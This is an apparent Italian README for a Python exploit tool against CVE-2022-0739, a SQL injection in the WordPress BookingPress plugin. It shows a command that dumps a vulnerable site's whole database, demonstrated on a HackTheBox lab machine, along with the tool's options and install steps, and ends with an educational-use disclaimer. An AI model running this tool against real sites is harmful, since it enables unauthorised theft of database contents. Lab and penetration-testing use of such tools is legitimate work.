
Exploit per WP BookingPress (< 1.0.11) basato sul POC di destr4ct.
La mia versione dell'exploit CVE-2022-0739 per BookingPress, basata sul POC di destr4ct - solo più bella.
Esempio di utilizzo contro la macchina MetaTwo di HackTheBox, che ospita un WordPress con un plugin bookingpress vulnerabile (versione 1.0.10).
python booking-sqlinjector.py -u http://metapress.htb -nu http://metapress.htb/events/ -a -o db_dump
usage: booking-sqlinjector.py [-h] -u URL [-o BASENAME] [-p PAYLOAD] [-a] [-v] (-n NONCE | -nu NONCE_URL)
options:
-h, --help show this help message and exit
-u URL, --url URL URL of WordPress server with vulnerable plugin (http://example.domain)
-o BASENAME, --out BASENAME
Output database schema and dump in JSON format
-p PAYLOAD, --payload PAYLOAD
Payload to inject. Should start with ')'
-a, --dump-all Enables whole DB dump
-v, --verbose Enables verbose mode
-n NONCE, --nonce NONCE
Nonce that you got as unauthenticated user
-nu NONCE_URL, --nonce-url NONCE_URL
URL where nonce can be extracted (bookingprss form page)
git clone https://github.com/viardant/CVE-2022-0739
cd CVE-2022-0739
pip install -r requirements.txt
TL:DR; Solo a scopo educativo, non rompere cose che non possiedi o per cui non hai il permesso di fare pentest. Se usi questo programma per scopi malvagi, gli dei della cybersecurity potrebbero colpire il tuo computer con un malware così devastante che ti pentirai di non aver comprato un Mac.